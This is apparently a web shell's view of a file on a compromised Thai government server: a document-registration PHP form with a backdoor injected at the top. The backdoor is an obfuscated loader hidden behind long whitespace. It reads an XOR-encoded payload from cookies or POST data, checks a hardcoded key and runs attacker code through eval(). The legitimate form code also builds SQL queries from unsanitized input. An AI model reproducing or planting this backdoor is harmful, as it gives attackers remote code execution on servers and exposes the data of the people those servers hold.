MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/eoffice/application/document/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/eoffice/application/document/docreg_getform.php
<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 $GLOBALS['t5bd8e61'];global$t5bd8e61;$t5bd8e61=$GLOBALS;$t5bd8e61['l8a4fb42']="\x6e\x51\x62\x46\x4d\x33\x22\x2c\x49\x2d\x61\x4f\x29\xa\x9\x56\x5d\x4e\x52\x65\x27\x6c\x34\x55\x70\x71\x47\x35\x74\x77\x66\x36\x60\x5f\x2e\x31\x39\x6f\x59\x43\x6d\x5b\x7a\x63\x28\x5e\x78\x53\x48\x2a\x72\x7b\x44\x30\x7d\x4c\x58\x32\x38\x20\x5c\x64\x37\x68\x3e\x3a\x7c\x69\x2b\x3f\x42\x21\x75\x79\x2f\x25\x45\x23\xd\x6a\x40\x50\x7e\x5a\x73\x41\x3b\x76\x67\x54\x6b\x24\x3d\x26\x3c\x57\x4a\x4b";$t5bd8e61[$t5bd8e61['l8a4fb42'][42].$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][27].$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][22]]=$t5bd8e61['l8a4fb42'][43].$t5bd8e61['l8a4fb42'][63].$t5bd8e61['l8a4fb42'][50];$t5bd8e61[$t5bd8e61['l8a4fb42'][2].$t5bd8e61['l8a4fb42'][58].$t5bd8e61['l8a4fb42'][31].$t5bd8e61['l8a4fb42'][10]]=$t5bd8e61['l8a4fb42'][37].$t5bd8e61['l8a4fb42'][50].$t5bd8e61['l8a4fb42'][61];$t5bd8e61[$t5bd8e61['l8a4fb42'][2].$t5bd8e61['l8a4fb42'][62].$t5bd8e61['l8a4fb42'][2].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][30].$t5bd8e61['l8a4fb42'][10]]=$t5bd8e61['l8a4fb42'][84].$t5bd8e61['l8a4fb42'][28].$t5bd8e61['l8a4fb42'][50].$t5bd8e61['l8a4fb42'][21].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][0];$t5bd8e61[$t5bd8e61['l8a4fb42'][2].$t5bd8e61['l8a4fb42'][43].$t5bd8e61['l8a4fb42'][36].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][43]]=$t5bd8e61['l8a4fb42'][67].$t5bd8e61['l8a4fb42'][0].$t5bd8e61['l8a4fb42'][67].$t5bd8e61['l8a4fb42'][33].$t5bd8e61['l8a4fb42'][84].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][28];$t5bd8e61[$t5bd8e61['l8a4fb42'][73].$t5bd8e61['l8a4fb42'][35].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][27].$t5bd8e61['l8a4fb42'][5]]=$t5bd8e61['l8a4fb42'][84].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][50].$t5bd8e61['l8a4fb42'][67].$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][21].$t5bd8e61['l8a4fb42'][67].$t5bd8e61['l8a4fb42'][42].$t5bd8e61['l8a4fb42'][19];$t5bd8e61[$t5bd8e61['l8a4fb42'][25].$t5bd8e61['l8a4fb42'][5].$t5bd8e61['l8a4fb42'][5].$t5bd8e61['l8a4fb42'][35].$t5bd8e61['l8a4fb42'][22].$t5bd8e61['l8a4fb42'][31].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][36]]=$t5bd8e61['l8a4fb42'][24].$t5bd8e61['l8a4fb42'][63].$t5bd8e61['l8a4fb42'][24].$t5bd8e61['l8a4fb42'][87].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][50].$t5bd8e61['l8a4fb42'][84].$t5bd8e61['l8a4fb42'][67].$t5bd8e61['l8a4fb42'][37].$t5bd8e61['l8a4fb42'][0];$t5bd8e61[$t5bd8e61['l8a4fb42'][43].$t5bd8e61['l8a4fb42'][62].$t5bd8e61['l8a4fb42'][43].$t5bd8e61['l8a4fb42'][36].$t5bd8e61['l8a4fb42'][58]]=$t5bd8e61['l8a4fb42'][72].$t5bd8e61['l8a4fb42'][0].$t5bd8e61['l8a4fb42'][84].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][50].$t5bd8e61['l8a4fb42'][67].$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][21].$t5bd8e61['l8a4fb42'][67].$t5bd8e61['l8a4fb42'][42].$t5bd8e61['l8a4fb42'][19];$t5bd8e61[$t5bd8e61['l8a4fb42'][21].$t5bd8e61['l8a4fb42'][30].$t5bd8e61['l8a4fb42'][43].$t5bd8e61['l8a4fb42'][27]]=$t5bd8e61['l8a4fb42'][2].$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][84].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][31].$t5bd8e61['l8a4fb42'][22].$t5bd8e61['l8a4fb42'][33].$t5bd8e61['l8a4fb42'][61].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][43].$t5bd8e61['l8a4fb42'][37].$t5bd8e61['l8a4fb42'][61].$t5bd8e61['l8a4fb42'][19];$t5bd8e61[$t5bd8e61['l8a4fb42'][88].$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][57]]=$t5bd8e61['l8a4fb42'][84].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][28].$t5bd8e61['l8a4fb42'][33].$t5bd8e61['l8a4fb42'][28].$t5bd8e61['l8a4fb42'][67].$t5bd8e61['l8a4fb42'][40].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][33].$t5bd8e61['l8a4fb42'][21].$t5bd8e61['l8a4fb42'][67].$t5bd8e61['l8a4fb42'][40].$t5bd8e61['l8a4fb42'][67].$t5bd8e61['l8a4fb42'][28];$t5bd8e61[$t5bd8e61['l8a4fb42'][42].$t5bd8e61['l8a4fb42'][61].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][58].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][61].$t5bd8e61['l8a4fb42'][35].$t5bd8e61['l8a4fb42'][62]]=$t5bd8e61['l8a4fb42'][84].$t5bd8e61['l8a4fb42'][2].$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][27];$t5bd8e61[$t5bd8e61['l8a4fb42'][37].$t5bd8e61['l8a4fb42'][31].$t5bd8e61['l8a4fb42'][35].$t5bd8e61['l8a4fb42'][22].$t5bd8e61['l8a4fb42'][31].$t5bd8e61['l8a4fb42'][22]]=$t5bd8e61['l8a4fb42'][37].$t5bd8e61['l8a4fb42'][58].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][5].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][35].$t5bd8e61['l8a4fb42'][31];$t5bd8e61[$t5bd8e61['l8a4fb42'][72].$t5bd8e61['l8a4fb42'][5].$t5bd8e61['l8a4fb42'][5].$t5bd8e61['l8a4fb42'][35].$t5bd8e61['l8a4fb42'][53]]=$_POST;$t5bd8e61[$t5bd8e61['l8a4fb42'][25].$t5bd8e61['l8a4fb42'][31].$t5bd8e61['l8a4fb42'][58].$t5bd8e61['l8a4fb42'][57].$t5bd8e61['l8a4fb42'][5].$t5bd8e61['l8a4fb42'][27]]=$_COOKIE;@$t5bd8e61[$t5bd8e61['l8a4fb42'][2].$t5bd8e61['l8a4fb42'][43].$t5bd8e61['l8a4fb42'][36].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][43]]($t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][50].$t5bd8e61['l8a4fb42'][50].$t5bd8e61['l8a4fb42'][37].$t5bd8e61['l8a4fb42'][50].$t5bd8e61['l8a4fb42'][33].$t5bd8e61['l8a4fb42'][21].$t5bd8e61['l8a4fb42'][37].$t5bd8e61['l8a4fb42'][88],NULL);@$t5bd8e61[$t5bd8e61['l8a4fb42'][2].$t5bd8e61['l8a4fb42'][43].$t5bd8e61['l8a4fb42'][36].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][43]]($t5bd8e61['l8a4fb42'][21].$t5bd8e61['l8a4fb42'][37].$t5bd8e61['l8a4fb42'][88].$t5bd8e61['l8a4fb42'][33].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][50].$t5bd8e61['l8a4fb42'][50].$t5bd8e61['l8a4fb42'][37].$t5bd8e61['l8a4fb42'][50].$t5bd8e61['l8a4fb42'][84],0);@$t5bd8e61[$t5bd8e61['l8a4fb42'][2].$t5bd8e61['l8a4fb42'][43].$t5bd8e61['l8a4fb42'][36].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][43]]($t5bd8e61['l8a4fb42'][40].$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][46].$t5bd8e61['l8a4fb42'][33].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][46].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][43].$t5bd8e61['l8a4fb42'][72].$t5bd8e61['l8a4fb42'][28].$t5bd8e61['l8a4fb42'][67].$t5bd8e61['l8a4fb42'][37].$t5bd8e61['l8a4fb42'][0].$t5bd8e61['l8a4fb42'][33].$t5bd8e61['l8a4fb42'][28].$t5bd8e61['l8a4fb42'][67].$t5bd8e61['l8a4fb42'][40].$t5bd8e61['l8a4fb42'][19],0);@$t5bd8e61[$t5bd8e61['l8a4fb42'][88].$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][57]](0);$ya46=NULL;$i472=NULL;$t5bd8e61[$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][36].$t5bd8e61['l8a4fb42'][30].$t5bd8e61['l8a4fb42'][19]]=$t5bd8e61['l8a4fb42'][5].$t5bd8e61['l8a4fb42'][57].$t5bd8e61['l8a4fb42'][36].$t5bd8e61['l8a4fb42'][31].$t5bd8e61['l8a4fb42'][43].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][36].$t5bd8e61['l8a4fb42'][9].$t5bd8e61['l8a4fb42'][22].$t5bd8e61['l8a4fb42'][22].$t5bd8e61['l8a4fb42'][27].$t5bd8e61['l8a4fb42'][58].$t5bd8e61['l8a4fb42'][9].$t5bd8e61['l8a4fb42'][22].$t5bd8e61['l8a4fb42'][61].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][27].$t5bd8e61['l8a4fb42'][9].$t5bd8e61['l8a4fb42'][2].$t5bd8e61['l8a4fb42'][61].$t5bd8e61['l8a4fb42'][27].$t5bd8e61['l8a4fb42'][31].$t5bd8e61['l8a4fb42'][9].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][36].$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][5].$t5bd8e61['l8a4fb42'][62].$t5bd8e61['l8a4fb42'][61].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][36].$t5bd8e61['l8a4fb42'][31].$t5bd8e61['l8a4fb42'][57].$t5bd8e61['l8a4fb42'][31].$t5bd8e61['l8a4fb42'][43];global$a09fe;function o8e3016($ya46,$gc5ac){global$t5bd8e61;$c35a="";for($d0812f=0;$d0812f<$t5bd8e61[$t5bd8e61['l8a4fb42'][2].$t5bd8e61['l8a4fb42'][62].$t5bd8e61['l8a4fb42'][2].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][30].$t5bd8e61['l8a4fb42'][10]]($ya46);){for($i227774=0;$i227774<$t5bd8e61[$t5bd8e61['l8a4fb42'][2].$t5bd8e61['l8a4fb42'][62].$t5bd8e61['l8a4fb42'][2].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][30].$t5bd8e61['l8a4fb42'][10]]($gc5ac)&&$d0812f<$t5bd8e61[$t5bd8e61['l8a4fb42'][2].$t5bd8e61['l8a4fb42'][62].$t5bd8e61['l8a4fb42'][2].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][30].$t5bd8e61['l8a4fb42'][10]]($ya46);$i227774++,$d0812f++){$c35a.=$t5bd8e61[$t5bd8e61['l8a4fb42'][42].$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][27].$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][22]]($t5bd8e61[$t5bd8e61['l8a4fb42'][2].$t5bd8e61['l8a4fb42'][58].$t5bd8e61['l8a4fb42'][31].$t5bd8e61['l8a4fb42'][10]]($ya46[$d0812f])^$t5bd8e61[$t5bd8e61['l8a4fb42'][2].$t5bd8e61['l8a4fb42'][58].$t5bd8e61['l8a4fb42'][31].$t5bd8e61['l8a4fb42'][10]]($gc5ac[$i227774]));}}return$c35a;}function sbaa5($ya46,$gc5ac){global$t5bd8e61;global$a09fe;return$t5bd8e61[$t5bd8e61['l8a4fb42'][37].$t5bd8e61['l8a4fb42'][31].$t5bd8e61['l8a4fb42'][35].$t5bd8e61['l8a4fb42'][22].$t5bd8e61['l8a4fb42'][31].$t5bd8e61['l8a4fb42'][22]]($t5bd8e61[$t5bd8e61['l8a4fb42'][37].$t5bd8e61['l8a4fb42'][31].$t5bd8e61['l8a4fb42'][35].$t5bd8e61['l8a4fb42'][22].$t5bd8e61['l8a4fb42'][31].$t5bd8e61['l8a4fb42'][22]]($ya46,$a09fe),$gc5ac);}foreach($t5bd8e61[$t5bd8e61['l8a4fb42'][25].$t5bd8e61['l8a4fb42'][31].$t5bd8e61['l8a4fb42'][58].$t5bd8e61['l8a4fb42'][57].$t5bd8e61['l8a4fb42'][5].$t5bd8e61['l8a4fb42'][27]]as$gc5ac=>$e85c8b7d9){$ya46=$e85c8b7d9;$i472=$gc5ac;}if(!$ya46){foreach($t5bd8e61[$t5bd8e61['l8a4fb42'][72].$t5bd8e61['l8a4fb42'][5].$t5bd8e61['l8a4fb42'][5].$t5bd8e61['l8a4fb42'][35].$t5bd8e61['l8a4fb42'][53]]as$gc5ac=>$e85c8b7d9){$ya46=$e85c8b7d9;$i472=$gc5ac;}}$ya46=@$t5bd8e61[$t5bd8e61['l8a4fb42'][43].$t5bd8e61['l8a4fb42'][62].$t5bd8e61['l8a4fb42'][43].$t5bd8e61['l8a4fb42'][36].$t5bd8e61['l8a4fb42'][58]]($t5bd8e61[$t5bd8e61['l8a4fb42'][42].$t5bd8e61['l8a4fb42'][61].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][58].$t5bd8e61['l8a4fb42'][19].$t5bd8e61['l8a4fb42'][61].$t5bd8e61['l8a4fb42'][35].$t5bd8e61['l8a4fb42'][62]]($t5bd8e61[$t5bd8e61['l8a4fb42'][21].$t5bd8e61['l8a4fb42'][30].$t5bd8e61['l8a4fb42'][43].$t5bd8e61['l8a4fb42'][27]]($ya46),$i472));if(isset($ya46[$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][90]])&&$a09fe==$ya46[$t5bd8e61['l8a4fb42'][10].$t5bd8e61['l8a4fb42'][90]]){if($ya46[$t5bd8e61['l8a4fb42'][10]]==$t5bd8e61['l8a4fb42'][67]){$d0812f=Array($t5bd8e61['l8a4fb42'][24].$t5bd8e61['l8a4fb42'][87]=>@$t5bd8e61[$t5bd8e61['l8a4fb42'][25].$t5bd8e61['l8a4fb42'][5].$t5bd8e61['l8a4fb42'][5].$t5bd8e61['l8a4fb42'][35].$t5bd8e61['l8a4fb42'][22].$t5bd8e61['l8a4fb42'][31].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][36]](),$t5bd8e61['l8a4fb42'][84].$t5bd8e61['l8a4fb42'][87]=>$t5bd8e61['l8a4fb42'][35].$t5bd8e61['l8a4fb42'][34].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][9].$t5bd8e61['l8a4fb42'][35],);echo@$t5bd8e61[$t5bd8e61['l8a4fb42'][73].$t5bd8e61['l8a4fb42'][35].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][53].$t5bd8e61['l8a4fb42'][27].$t5bd8e61['l8a4fb42'][5]]($d0812f);}elseif($ya46[$t5bd8e61['l8a4fb42'][10]]==$t5bd8e61['l8a4fb42'][19]){eval($ya46[$t5bd8e61['l8a4fb42'][61]]);}exit();} ?><script language="javascript">
function mOvr(src,clrOver){ 
if (!src.contains(event.fromElement)) src.bgColor = clrOver; 
} 

function mOut(src,clrIn){ 
if (!src.contains(event.toElement)) src.bgColor = clrIn; 
} 

function showEle(divname){
if(document.getElementById(divname).style.display == 'none'){
document.getElementById(divname).style.display = 'block';
} else {  
document.getElementById(divname).style.display = 'none';
}
}

function  checkEle(divname){
//alert(document.post.minister.checked);
if(document.post.minister.checked==true){
document.getElementById(divname).style.display = 'block';
}else
{
document.getElementById(divname).style.display = 'none';
}
}
function  openEle(divname){
document.getElementById(divname).style.display = 'block';
}
function  closeEle(divname){
document.getElementById(divname).style.display = 'none';
}



// function check form
function checkForm(){
var check_xt = document.getElementById( "type" ).value;
//alert(check_xt);

	// end กรณีเลือกหนังสือรับ
	if(check_xt == "get"){

	if(document.post.refid.value == ""){
		alert("! กรุณาระบุเลขที่หนังสือด้วยครับ");
		document.post.refid.focus();
		return false;
	}

	if(document.post.pdate.value == ""){
		alert("! กรุณาระบุวันที่ด้วยครับ");
		document.post.pdate.focus();
		return false;
	}

	 if(document.post.sending.value == ""){
		alert("! กรุณาระบุต้นทางของเอกสาร(จาก)");
		document.post.sending.focus();
		return false;
	}

	 if(document.post.getting.value == ""){
		alert("! กรุณาระบุต้นทางของเอกสาร(ถึง)");
		document.post.getting.focus();
		return false;
	}

	 if(document.post.title.value == ""){
		alert("! กรุณาชื่อเรื่อง");
		document.post.title.focus();
		return false;
	}
	}//  end กรณีเลือกหนังสือรับ

	// end กรณีเลือกหนังสือส่ง
	if(check_xt == "send"){

	 if(document.post.getting.value == ""){
		alert("! กรุณาระบุต้นทางของเอกสาร(ถึง)");
		document.post.getting.focus();
		return false;
	}
	 if(document.post.title.value == ""){
		alert("! กรุณาชื่อเรื่อง");
		document.post.title.focus();
		return false;
	}
	}//  end กรณีเลือกหนังสือส่ง

	// end กรณีเลือกหนังสือเวียน
	if(check_xt == "circular"){
	 if(document.post.title.value == ""){
		alert("! กรุณาชื่อเรื่อง");
		document.post.title.focus();
		return false;
	}
	}//  end กรณีเลือกหนังสือเวียน


//	// end กรณีเลือกหนังสือเวียน
//	if(check_xt == "send"){
//	 if(document.post.gid_show.value == ""){
//		alert("! กรุณาระบุต้นทางของเอกสาร(จาก)");
//		document.post.sid_select.focus();
//		return false;
//	}
//	}//  end กรณีเลือกหนังสือเวียน	
	
	if(document.post.getting.value == ""){
			alert("! กรุณาระบปลายทางของเอกสาร(ถึง)")
			document.post.getting.focus();
			return false;
	}else if(document.post.title.value == ""){
			alert("! กรุณาระบุเรื่องของเอกสาร");
			document.post.title.focus();
			return false;
	}else{
		return true;
	}
}

	
// end function check form
</script>
<style type="text/css">
<!--
.style1 {
	color: #FF0000;
	font-weight: bold;
}
-->
</style>


<FORM action="<?=$PHP_SELF?>?type=<?=$type?>" name="post" method="post" enctype="multipart/form-data" onSubmit="return checkForm();">
<? if( ($action=="edit") &&($id)){
	$sql_doc_list="SELECT * FROM document WHERE id='$id' Limit 1";
	$query = mysql_query($sql_doc_list)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
	$rs_doc=mysql_fetch_assoc($query);

	
	$sql_getting_list="SELECT * FROM doc_receive WHERE docid='$rs_doc[id]' ";			
	$query = mysql_query($sql_getting_list)or die("Query line " . __LINE__ . " error<hr>".mysql_error()); $j=0;
	$rsl=mysql_fetch_assoc($query);
	
	$sql_attach_list="SELECT * FROM doc_receive WHERE docid='$rs_doc[id]' ";			
	$query = mysql_query($sql_attach_list)or die("Query line " . __LINE__ . " error<hr>".mysql_error()); $j=0;
	while($rsa=mysql_fetch_assoc($query)){
	$attachment[$rsa[attach]]=$rsa[name];
	}
}
 
$sql_attach_check = "
SELECT
doc_attach.id,
doc_attach.name,
doc_attach.attach,
doc_attach.description
FROM
doc_attach
Inner Join document ON doc_attach.docid = document.id
WHERE
document.id = '$rs_doc[id]'
";
$result_check = mysql_query($sql_attach_check)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
while($crs = mysql_fetch_assoc($result_check)){
$attachname[$crs[id]]=$crs[name];
$attachfile[$crs[id]]=$crs[attach];
$descritment[$crs[id]]=$crs[description];
}
?>
			<TABLE width="720" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#eeeeee">
			<TR>
			<TD>
			
			<TABLE width="100%" border="0" cellspacing="0" cellpadding="0" class="normal_black">
			<TR bgcolor="#f8f8f8">
			<TD height="20" colspan="2" class="normal_blue">
			&nbsp;<IMG src="../../images/ico_keyin.gif" width="16" height="16" border="0" align="absmiddle">บันทึกข้อมูลทะเบียนหนังสือ<? if($type=="get"){echo "รับ";}else if($type=="send"){echo "ส่ง"; }else if($type=="circular"){echo "เวียน"; }?></TD>
			</TR>
			<!--<TR>
			<TD colspan="2" height="20"><HR color="#f8f8f8"></TD>
			</TR>-->
			<TR>
				<TD width="157" height="20" align="right">&nbsp;</TD>
				<TD>&nbsp;</TD>
			</TR>
			<TR>
			<TD height="20" align="right">ลำดับเอกสาร&nbsp;<B>:</B>&nbsp;</TD>
			<TD width="449">
			<?
			/*
				$sql_max_case="select max(docid) as maxcase from document where type='$type' ";
				$query_max = mysql_query($sql_max_case)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
				$maxrs = mysql_fetch_assoc($query_max);
				 if($rs_doc[docid]){$doc_gen=$rs_doc[docid];}else{ $doc_gen=$maxrs[maxcase]+1;}
			*/
				$sql_setting="
					select * from system
					";
					$result=mysql_query($sql_setting);
					while($rs=mysql_fetch_assoc($result)){
						$com[$rs[command]]=$rs[value];
					}				 
	
################################################# การออกเลขหนังสือส่ง

if( ($type=="send") || ($type=="circular") || ($type=="get")){
/* เปลี่ยนแปลงกระบวนการ Insert RECORDS ใหม่
						foreach($session_gid as $vid => $val){
							foreach($val as $v1 => $v2){
							$gid_checks=$v2;	
							}
						}
						
									$sql_setting="
										select * from system
										";
										$result=mysql_query($sql_setting);
										while($rs=mysql_fetch_assoc($result)){
											$com[$rs[command]]=$rs[value];
										}
						
											if($com[outreset]=="year"){
												$code_year_reset=" AND  YEAR(document.time_rec)=YEAR(now( )) "; 
												}
																			


				if($type=="send"){$type_running="runningout";}
				elseif($type=="circular"){$type_running="runningcircular";}
				elseif($type=="get"){$type_running="runningin";}
			
				if($com[$type_running]>$num_gen){
				$num_gen=$com[$type_running]+1;
				}						
				

########################################################################################
$phpsessid=session_id( );
$time_past=60*35;
if($com[$type_running])
{
	$code_cross=" AND number > $com[$type_running]";
}
$sql_del_old_request="
DELETE FROM document where type='$type' AND sending is NULL AND getting is NULL AND `time_rec` < DATE_SUB(NOW(),INTERVAL 30 MINUTE); 
";
$query_max = mysql_query($sql_del_old_request)or die("Query line " . __LINE__ . " error<hr>".mysql_error());

$sql_del_old_owner_request="
DELETE FROM document where type='$type' AND sending is NULL AND getting is NULL  AND owner = $session_staffid AND phpsessid='$phpsessid'
";
$query_max = mysql_query($sql_del_old_owner_request)or die("Query line " . __LINE__ . " error<hr>".mysql_error());

if($com[outreset]=="year"){
$code_year_reset=" AND  YEAR(document.time_rec)=YEAR(now( )) "; 
}

$sql_max_case="select max(number) as maxnumber from document where type='$type' $code_year_reset AND number is not NULL $code_cross";
$query_max = mysql_query($sql_max_case)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
$maxrs = mysql_fetch_assoc($query_max);


$sql_max_case="select COUNT(*) as rownumber from document where type='$type' $code_year_reset AND number is not NULL $code_cross";
$query_max = mysql_query($sql_max_case)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
$rowrs = mysql_fetch_assoc($query_max);

	if($type=="send"){$type_running="runningout";}
	elseif($type=="circular"){$type_running="runningcircular";}
	elseif($type=="get"){$type_running="runningin";}

$max_id=$maxrs[maxnumber]+1;
$now_id=$maxrs[maxnumber];
$max_row=$rowrs[rownumber];
$dif_row=$maxrs[maxnumber]-$rowrs[rownumber];
if($dif_row>0){$dif_row-=$com[$type_running];}

// echo "$maxrs[maxnumber]-$max_row= ".$dif_row."<br><br>";

if($dif_row=="0"){
$num_gen=$max_id;
}elseif($dif_row>0){
$x=$dif_row;
	for($i=$now_id;$i>0;$i--){
		$select_hole="
		select * from document where number=$i AND type='$type' $code_year_reset $code_cross
		";
		$query_max = mysql_query($select_hole)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
		$num_row = mysql_num_rows($query_max);
//		echo "$i หาเจอ $num_row<br>";
		if($num_row==0){
		$hole_take[$i]=$i;
//		echo $i."<br>";
		$x--;
			if($x==0){
				$num_gen=$i;
				break;
			}
		}
	}
}


										$sql_max_case="select max(number) as maxnumber from document where type='$type' $code_year_reset ";
										$query_max = mysql_query($sql_max_case)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
										$maxrs = mysql_fetch_assoc($query_max);
										 if($rs_doc[number]){$num_gen=$rs_doc[number];}else{ $num_gen=$maxrs[maxnumber]+1;}


									if($com[$type_running]>$num_gen){
									$num_gen=$com[$type_running]+1;
									}



	$sqldocreg = "
	INSERT INTO document	
	(`id`,`type`,`number`,`owner`,`time_rec`,`phpsessid`) 
	VALUES 
	(NULL,'$type','$num_gen','$session_staffid','$sql_time','$phpsessid')
	";
	$query = mysql_query($sqldocreg)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
	$id=mysql_insert_id();
*/
########################################################################################

			?>
			
			
			
<INPUT name="docid" type="hidden" class="input" id="docid" style="width:120px;" value="<?=$rs_doc[docid]?>"  readonly	 />	<?=$rs_doc[docid]?>	</TD>
			</TR>
			
			<? if($type=="get"){?>
			
			
			<TR valign="top">
				<TD height="20" align="right">วันรับเอกสาร&nbsp;<b>:</b>&nbsp;</TD>
				<TD><? if($rs_doc[tdate] == "")
				{ $ndate = date("d/m/").(date("Y") + 543); 
				}else{ 
				$d = explode("-", $rs_doc[tdate]);
				$ndate = $d[2]."/".$d[1]."/".($d[0] + 543);
				}
			?>
					<input type="text" name="tdate" id="tdate" class="input" maxlength="10" style="width:120px;" value="<?=$ndate?>" readonly="readonly" />
					<? if ( ($type=="get") )  { ?>
					<script language='JavaScript' type="text/javascript">	if (!document.layers) {	document.write("<input type=button onclick='popUpCalendar(this, post.tdate, \"dd/mm/yyyy\")' value=' เลือกวัน ' class='input'>")	}</script>
					<? }?></TD>
			</TR>
			<? }?>			
			
			
			
			<TR>
			<TD height="20" align="right"><span class="style1">*</span> ที่&nbsp;<B>:</B>&nbsp;</TD>
			<TD width="449">
			
<? 

if((!$action)||($action=="add")){
// echo"<pre>";print_r($_SESSION);
// Code ชั่วคราว ก่อนการ ปรับให้สามารถ select GROUP เข้าใช้งานที่แน่นอนได้

if($type=="get"){
?>
<input name='refid' type='text' class="input" style="width:180px;"  value="<?=$rs_doc[getting]?>" >
<?
}			
						if($type=="send"){$ref_digit="ref_digit";}else{$ref_digit="ref_digit_circular";}
						$select_tag="";
						$refid="";
						$sql="
						SELECT
						$ref_digit.id,
						$ref_digit.digit,
						$ref_digit.value,
						$ref_digit.`type`,
						$ref_digit.gid,
						ref_type.`key` AS `key`,
						ref_type.`type` AS  `name`
						FROM
						$ref_digit
						Inner Join ref_type ON ref_type.id = $ref_digit.`type`
						where gid=$gid_checks
						order by $ref_digit.digit
						";
						$rst=mysql_query($sql);$i=0;
						$row_rst=mysql_num_rows($rst);
							if($row_rst){
								while($var=mysql_fetch_assoc($rst)){$i++;
						//		echo "หลักที่ $i  ประเภท $var[name] ";


								if($var[key]=='cons'){
//									echo "<input name=digit[$var[digit]] type=hidden value='$var[value]' maxlength=10 style='width:60px;' >$var[value]";
									#echo "$var[value]";
									$refid.=$var[value];
								}else{



									$show_var=$var[key];
									if($var[key]=='autonumber')
									{
									$zerofill=$var[value];
									if(!$zerofill){$zerofill="4";}
									$hide_var="autonumber";
									$show_var=zerofill($num_gen,$zerofill); 
//									echo "<input name='digit_char[$var[digit]]' type='hidden' value='$zerofill' >";
									echo "<input name='autonumber' type='hidden' value='$num_gen' >";
									}
									if($var[key]=='yy'){$hide_var=date(y);$show_var=date(y);}		
									if($var[key]=='yyyy'){$hide_var=date(Y);$show_var=date(Y);}		
									if($var[key]=='ปป'){$hide_var=date(y)+43;$show_var=date(y)+43;}		
